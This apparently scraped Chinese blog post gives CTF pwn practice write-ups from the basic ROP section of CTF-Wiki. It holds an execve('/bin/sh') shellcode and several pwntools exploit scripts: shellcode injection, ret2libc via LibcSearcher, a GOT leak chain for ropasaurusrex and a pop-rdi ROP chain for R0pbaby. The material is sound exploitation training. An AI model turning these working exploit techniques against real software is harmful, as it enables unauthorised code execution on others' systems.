sniperoj-pwn100-shellcode-x86-64

23 字节 shellcode

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

首先根据 gdb 确定偏移,然后把因为有个 leave 指令会破坏前面的,所以前面的填充为脏数据,然后加上返回地址占据的 8 位空间,确定在 buf_addr 后面 24+8 填充 shellcode

  1. from pwn import *
  2. sh = process('./shellcode')
  3. shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  4. sh.recvuntil('[')
  5. buf_addr = sh.recvuntil(']', drop=True)
  6. buf_addr = int(buf_addr, 16)
  7. payload = 'b' * 24 + p64(buf_addr + 32) + shellcode_x64
  8. print payload
  9. sh.sendline(payload)
  10. sh.interactive()

train.cs.nctu.edu.tw:ret2libc

这道题开启了 NX 保护,然而运行的时候会把 puts 的地址跟 /bin/sh 的地址告诉我们,使用 pwntools 可以把地址提取出来,再根据 libcsearcher 查出 system 的地址,这样就可以 getshell 了

exp:

  1. from pwn import *
  2. from LibcSearcher import LibcSearcher
  3. p=process('./pwn')
  4. p.recvuntil('is ')
  5. bin_addr = int(p.recvuntil('\n), 16)
  6. print hex(bin_addr)
  7. p.recvuntil('is ')
  8. puts_addr = int(p.recvuntil('\n'), 16)
  9. print hex(puts_addr)
  10. libc=LibcSearcher('puts',puts_addr)
  11. libc_base=puts_addr-libc.dump('puts')
  12. sys_addr=libc_base+libc.dump('system')
  13. payload2='a'*32+p32(sys_addr)+p32(1234)+p32(bin_addr)
  14. p.sendline(payload2)
  15. p.interactive()

讲一下 p.recvuntil('is ') 代表的是 "is" 之前的那一块,当下一个 recvuntil 的时候就会把这那块去掉了

把脚本里的第一个 p.recvuntil('is ') 替换成

print p.recvuntil('of ')

print p.recvuntil('is ')

就可以看出来作用是什么

ps. 正常会输出这一些("^C" 是 ctrl+c 退出造成的,不包括):

train.cs.nctu.edu.tw:rop

没找到题目,从大佬博客里面找到的,题目使用 nc 连上以后会输出这些 gadgets 需要自己去构造 payload

把 push 的那一些 16 进制转换一下

大佬说通过这些就可以构造出 payload 了

exp:我连不上。。。

  1. from pwn import *
  2. sh = remote('bamboofox.cs.nctu.edu.tw',10001)
  3. payload = "9,9,1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0"
  4. sh.sendline(payload)
  5. sh.interactive()

2013-PlaidCTF-ropasaurusrex

没有 system 和 /bin/sh,通过 ret2libc 的方法在 libc 里面找到,这里注意一下第一次泄露的是 got 表的内容,写成了 plt 的,结果废了两个小时没看出来,还以为又出现了什么超出知识水平的操作,,CTF 需要视力!!

exp:

  1. from pwn import *
  2. from LibcSearcher import LibcSearcher
  3. p=process('./rop')
  4. elf=ELF('./rop')
  5. write_plt=elf.plt['write']
  6. write_got=elf.got['write']
  7. payload='a'*140+p32(write_plt)+p32(0x80483F4)+p32(1)+p32(write_got)+p32(4)
  8. p.sendline(payload)
  9. write_addr=u32(p.recv(4))
  10. libc=LibcSearcher('write',write_addr)
  11. libc_base=write_addr-libc.dump('write')
  12. sys_addr=libc_base+libc.dump('system')
  13. bin_addr=libc_base+libc.dump('str_bin_sh')
  14. payload1='a'*140+p32(sys_addr)+p32(1234)+p32(bin_addr)
  15. p.sendline(payload1)
  16. p.interactive()

Defcon 2015 Qualifier: R0pbaby

checksec 检查一下,发现是 64 位程序,所以参数应该是存储在 rdi 寄存器上

64 位程序当参数少于 7 个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

通过 ROPgadget --binary /libc/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "rdi"

获取到 pop rdi ;ret 的地址:

通过程序自身提供的功能,可以获取到 libc 的地址与任意函数的地址

同时第三个功能存在溢出,经过计算溢出的长度为 8

写 exp:

  1. from pwn import *
  2. from LibcSearcher import *
  3. p=process('./pwn')
  4. elf=ELF('./pwn')
  5. rdi_offset=0x0000000000021102
  6. p.recvuntil(': ')
  7. p.sendline('2')
  8. p.recvuntil('symbol: ')
  9. p.sendline('system')
  10. p.recvuntil(': ')
  11. sys_addr=p.recvuntil('\n',drop=True)
  12. sys_addr=int(sys_addr,16)
  13. libc=LibcSearcher('system',sys_addr)
  14. libc_base=sys_addr-libc.dump('system')
  15. bin_addr=libc_base+libc.dump('str_bin_sh')
  16. rdi_addr=libc_base+rdi_offset
  17. payload='a'*8+p64(rdi_addr)+p64(bin_addr)+p64(sys_addr)
  18. p.recvuntil(': ')
  19. p.sendline('3')
  20. p.recvuntil('): ')
  21. length=len(payload)
  22. print length
  23. print str(length)
  24. p.sendline(str(length))
  25. p.sendline(payload)
  26. p.interactive()

大佬的 exp:

  1. from pwn import *
  2. from LibcSearcher import *
  3. ropbaby = ELF('./pwn')
  4. sh = process('./pwn')
  5. context.word_size = 64
  6. def getfuncaddress(func):
  7. sh.recvuntil(': ')
  8. sh.sendline('2')
  9. sh.recvuntil('symbol: ')
  10. sh.sendline(func)
  11. sh.recvuntil(': ')
  12. addr = sh.recvuntil('\n', drop=True)
  13. return int(addr, 16)
  14. def addropbuff(payload):
  15. sh.recvuntil(': ')
  16. sh.sendline('3')
  17. sh.recvuntil('): ')
  18. length = len(payload)
  19. sh.sendline(str(length))
  20. sh.sendline(payload)
  21. rdi_ret_offset = 0x0000000000021102
  22. system_addr = getfuncaddress('system')
  23. libc = LibcSearcher('system', system_addr)
  24. libc_base = system_addr - libc.dump('system')
  25. binsh_addr = libc.dump('str_bin_sh') + libc_base
  26. rdi_ret = rdi_ret_offset + libc_base
  27. print hex(system_addr), hex(binsh_addr), hex(rdi_ret)
  28. payload = flat(['b' * 8, rdi_ret, binsh_addr, system_addr])
  29. addropbuff(payload)
  30. sh.interactive()

【二进制】CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)的更多相关文章

  1. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

  2. 【CTF】Pwn入门 XCTF 部分writeup

    碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...

  3. BIT 常态化在线CTF系统 pwn题目

    偶然得到这个平台,发现是BIT的CTF平台,应该是平时的阶段性的训练题目.看了看题,其他方向的题目感觉都是入门题,但是pwn题目,发现还是比入门题难一点点的,来记录一下. pwn1 栈上任意位置的读写 ...

  4. 一步一步pwn路由器之路由器环境修复&&rop技术分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 拿到路由器的固件后,第一时间肯定是去运行目标程序,一般是web服务 ...

  5. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  6. CTF学习资料总结

    网络攻防大作业学习方向思路 一直对CTF比赛有参与的兴趣,但由于课程比较多,一直没有足够的时间系统的去了解与训练.所以我想利用接下来的几周时间对CTF比赛经行练习.并找到自己所擅长或感兴趣的方向深入研 ...

  7. CTF:从0到1 -> zero2one

    本篇blog首发0xffff论坛(CTF:从0到1->zero2one - 0xFFFF),中间有各位大佬补充,搬到了个人博客CTF:从0到1 -> zero2one | c10udlnk ...

  8. 【pwn】学pwn日记——栈学习(持续更新)

    [pwn]学pwn日记--栈学习(持续更新) 前言 从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用. 学习视频链接:XMCVE 2020 CTF Pw ...

  9. PWN INTEGER OVERFLOW 整数溢出

    0x00      Preview Last few passage I didn't conclude some important points and a general direction o ...

随机推荐

  1. [atARC062F]Painting Graphs with AtCoDeer

    求出点双后缩点,对于点双之间,显然不存在简单环,即每一个简单环一定在一个点双内部,换言之即每一个点双可以独立的考虑,然后将结果相乘 (对于点双之间的边任意染色,即若有$s$条边,还会有$k^{s}$的 ...

  2. [loj3276]遗迹

    假设已知$a_{i}$,通过以下方式确定$b_{i}$:从后往前枚举每一个数$i$,先令$b_{i}=a_{i}$,再将$b_{i}$不断减1直至不存在$j>i$且$b_{i}=b_{j}$或$ ...

  3. 微信小程序如何重写Page方法?以及重写Page方法给开发者带来的好处

    17,18年的时候,我当时主要开发小程序,那时候领导想看一下小程序的访问量,还有一些埋点的需求,于是我们的小程序就接入了阿拉丁统计. 阿拉丁的接入方式除了配置以外,主要就一行引入代码.官方要求将以下代 ...

  4. Spring扩展点-v5.3.9

    Spring 扩展点 **本人博客网站 **IT小神 www.itxiaoshen.com 官网地址****:https://spring.io/projects/spring-framework T ...

  5. Java培训机构如何选择才能避免被骗?

    近年来,随着IT行业的快速崛起,各类互联网人才供不应求,而Java工程师作为目前最为火爆的岗位之一,更是以高薪+高新技术的标签受到了人们的广泛关注.许多年轻人也看到了这个行业的发展前景,决定报名培训机 ...

  6. HDU 5322 Hope

    HDU 5322 Hope 考虑 $ dp[n] $ 表示 长度为 $ n $ 的所有排列的答案. 首先,对于一个排列来说,如果最大值在 $ i $ 位置,那么前 $ i - 1 $ 个数必然与 $ ...

  7. 洛谷 P7718 -「EZEC-10」Equalization(差分转化+状压 dp)

    洛谷题面传送门 一道挺有意思的题,现场切掉还是挺有成就感的. 首先看到区间操作我们可以想到差分转换,将区间操作转化为差分序列上的一个或两个单点操作,具体来说我们设 \(b_i=a_{i+1}-a_i\ ...

  8. Codeforces 1500E - Subset Trick(线段树)

    Codeforces 题目传送门 & 洛谷题目传送门 一道线段树的套路题(似乎 ycx 会做这道题?orzorz!!11) 首先考虑什么样的 \(x\) 是"不合适"的,我 ...

  9. 【R】爬虫案例

    爬取豆瓣相册 library(RCurl) library(XML) myHttpheader <- c("User-Agent"="Mozilla/5.0 (Wi ...

  10. Mysql in子查询中加limit报错

    Mysql in子查询中加limit报错 select id from aa where id in ( select id from bb limit 10 ); 改写成 SELECT id FRO ...